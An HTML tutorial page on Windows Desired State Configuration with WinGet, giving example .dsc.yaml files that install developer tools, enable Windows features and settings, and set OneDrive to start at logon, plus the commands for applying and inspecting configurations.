<p>There are different versions and different implementations of DSC.
Winget uses Powershell DSC 3.0 for the <code>configure</code> and Microsoft DSC 3.0 the new <code>dscv3</code> command.
These two implementations have different capabilities and purposes.</p>
<p><code>configure</code> - Is build on top of Powershell DSC 3.0 and is used to configure your machine.</p>
<p><code>dscv3</code> - Is build on top of Microsoft DSC 3.0 and supports at the moment exporting the configuration of the current device, including Windows Settings, packages from configured WinGet sources and package settings from DSC v3 enabled packages.</p>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>If you want to know more about the differences in the underlying technologies, you can find more information <a href="https://learn.microsoft.com/en-gb/powershell/dsc/overview?view=dsc-3.0#differences-from-powershell-dsc" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="start-using-winget-dsc" tabindex="-1">🚀 Start using WinGet &amp; DSC <a class="header-anchor" href="#start-using-winget-dsc" aria-label="Permalink to &quot;:rocket: Start using WinGet &amp; DSC&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="winget-configure" tabindex="-1">Winget configure <a class="header-anchor" href="#winget-configure" aria-label="Permalink to &quot;Winget configure&quot;">&ZeroWidthSpace;</a></h3>
<p><u>What can be configured?</u></p>
<ol>
<li>Configuration Settings
<ul>
<li>Windows Explorer</li>
<li>Dark Mode</li>
<li>Taskbar</li>
</ul>
</li>
<li>Software Installation
<ul>
<li>Winget</li>
<li>MS Store</li>
<li>Software Configurations</li>
</ul>
</li>
<li>Powershell Scripts
<ul>
<li>Whatever you can think of</li>
</ul>
</li>
</ol>
<hr>
<p><u>How to create a WinGet DSC configuration file</u></p>
<ol>
<li>Create a text file and save it with a <code>.dsc.yaml</code> extension.</li>
<li>Open the file in a text editor and add content in the following format:
<ol>
<li><strong>Schema:</strong> Defines the structure and properties required to configure a resource.</li>
<li><strong>Properties:</strong> Defines the properties of a resource.</li>
<li><strong>Assertions:</strong> Sets the conditions that must be met for a configuration to apply.</li>
<li><strong>Resources:</strong> Defines the resources that are being configured.</li>
<li><strong>Configuration Version:</strong> Sets the version of the configuration.</li>
</ol>
</li>
</ol>
<div class="tip custom-block"><p class="custom-block-title">Example Code:</p>
<div class="language-yaml vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">yaml</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">properties</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">  assertions</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    - </span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">resource</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft.Windows.Developer/OsVersion</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      directives</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        description</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Verify min OS version requirement Windows 11 Version 23H2</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        allowPrerelease</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      settings</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        MinVersion</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'10.0.22631'</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">  resources</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    - </span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">resource</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft.WindowsSandbox.DSC/WindowsSandbox</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      directives</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        description</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Create Windows Sandbox</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        allowPrerelease</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      settings</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        Ensure</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Present</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> # Ensure the resource is present</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        LogonCommand</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          # Define a command to run when the sandbox is started</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">  configurationVersion</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0.2.0</span></span></code></pre>
</div><img src="\powershell_dsc\dsc_1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
</div>
<hr>
<p><u>How to apply a configuration file</u></p>
<p>Open a PowerShell window and use the following code to apply the configuration file:</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget configure [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">filename</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">].dsc.yaml</span></span></code></pre>
</div><div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Your configuration file does not have to be local, it can be a hosted file.
This would allow you to apply a configuration file remotely via intune or other means.</p>
</div>
<p>Example of the Microsoft Sandbox WinGet DSC configuration file executing:
<img src="\powershell_dsc\sandbox_dsc.gif" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/></p>
<details class="details custom-block"><summary>WinGet DSC configuration possibilities example</summary>
<div class="warning custom-block github-alert"><p class="custom-block-title">WARNING</p>
<p>Please be aware that if you need administrator privileges to change the setting manually, the DSC configuration also requires you to run the PowerShell session as an administrator.</p>
</div>
<div class="language-yaml vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">yaml</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">properties</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Windows assertion Section: Defines the conditions that must be met for a configuration to apply</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">  assertions</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    - </span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">resource</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft.Windows.Developer/OsVersion</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      directives</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        description</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Verify min OS version requirement Windows 11 Version 24H2</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        allowPrerelease</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      settings</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        MinVersion</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'10.0.26200'</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Windows resources Section: Defines the resources that are being configured</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">  resources</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Windows Settings: Enable Dark Mode</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  - </span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">resource</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft.Windows.Developer/EnableDarkMode</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    directives</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      description</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Enable dark mode</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      allowPrerelease</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    settings</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      Ensure</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">present</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> # [Present, Absent]</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">      # Use caution when setting `RestartExplorer: true` as this will force explorer to close.</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      RestartExplorer</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> # Required to apply changes</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Windows Feature: Hyper-V (Code is correct, but there is a bug with the DSC resource which produces the error "Class not registered")</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # https://github.com/microsoft/winget-cli/issues/4264</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  - </span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">resource</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">PSDscResources/WindowsOptionalFeature</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    directives</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      description</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Enable Hyper-V</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    settings</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      Ensure</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">present</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> # [Present, Absent]</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      Name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft-Hyper-V-All</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Winget: Install VS-Code &#x26; YAML extension</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  - </span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">resource</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft.WinGet.DSC/WinGetPackage</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">install-vs-code</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    directives</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      description</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Install Microsoft Visual Studio Code</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      allowPrerelease</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    settings</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft.VisualStudioCode</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      source</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">winget</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      Ensure</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Present</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  - </span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">resource</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft.VSCode.Dsc/VSCodeExtension</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">install_vscode-yaml</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    dependsOn</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      - </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">install-vs-code</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    directives</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      description</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Install YAML extension for VSCode</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      allowPrerelease</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    settings</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      Name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">redhat.vscode-yaml</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      Exist</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Powershell: Install PowerShell Modules</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  - </span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">resource</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">PowerShellModule/PSModuleResource</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">install-microsoft.graph</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    directives</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      description</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Install MS Graph module</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      allowPrerelease</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    settings</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      Module_Name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">microsoft.graph</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      Ensure</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Present</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # MSStore: Install Microsoft Company Portal with Winget</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  - </span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">resource</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft.WinGet.DSC/WinGetPackage</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    directives</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      description</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Installing Microsoft Company Portal</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      allowPrerelease</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      securityContext</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">current</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    settings</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"9WZDNCRFJ3PZ"</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      source</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">msstore</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">9WZDNCRFJ3PZ</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Powershell Script: Check Autostart for OneDrive</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  - </span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">resource</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">PSDscResources/Script</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">OneDrive-Autostart</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    directives</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      description</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Autostart OneDrive</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      allowPrerelease</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">    settings</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      GetScript</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">        # Your custom PowerShell code to check app configuration</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      TestScript</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">        If( (Get-Item HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run).property -contains "OneDrive" ){ return $TRUE } else{ return $FALSE }</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      SetScript</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">        # PowerShell script commands to install VSCode extensions</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">        New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "OneDrive" -Value "C:\Program Files\Microsoft OneDrive\OneDrive.exe -background"  </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Configuration Version: Defines the version of the configuration</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  ########################################################################</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">  configurationVersion</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0.2.0</span></span></code></pre>
</div><p>💾 <a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/9e0fb40a86af70bea198dfac6c23895d1f7e776f/Powershell/winget_dsc/configuration.dsc.yaml" target="_blank" rel="noreferrer">Download from GitHub</a></p>
</details>
<p>Next to outright starting the configuration, you can also <code>show</code>, <code>list</code>, <code>test</code>, <code>validate</code> and <code>export</code> configurations.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget configure show [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">filename</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">].dsc.yaml</span></span></code></pre>
</div><img src="\powershell_dsc\dsc_show.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<hr>
<h3 id="winget-dscv3" tabindex="-1">Winget dscv3 <a class="header-anchor" href="#winget-dscv3" aria-label="Permalink to &quot;Winget dscv3&quot;">&ZeroWidthSpace;</a></h3>
<p><u>What can be exported?</u></p>
<ul>
<li><code>package</code>: The Packages of the local device</li>
<li><code>source</code>: The Sources of the local device</li>
<li><code>user-settings-file</code>: The User Settings File of the local device</li>
<li><code>admin-settings</code>: The Admin Settings of the local device</li>
</ul>
<p><u>How to export stuff?</u></p>
<p>Open a PowerShell window and with following code you can export the <strong>packages</strong>, <strong>sources</strong>, <strong>user-settings-file</strong> and <strong>admin-settings</strong> of the current device and there <strong>manifests</strong> and <strong>schemas</strong>.</p>
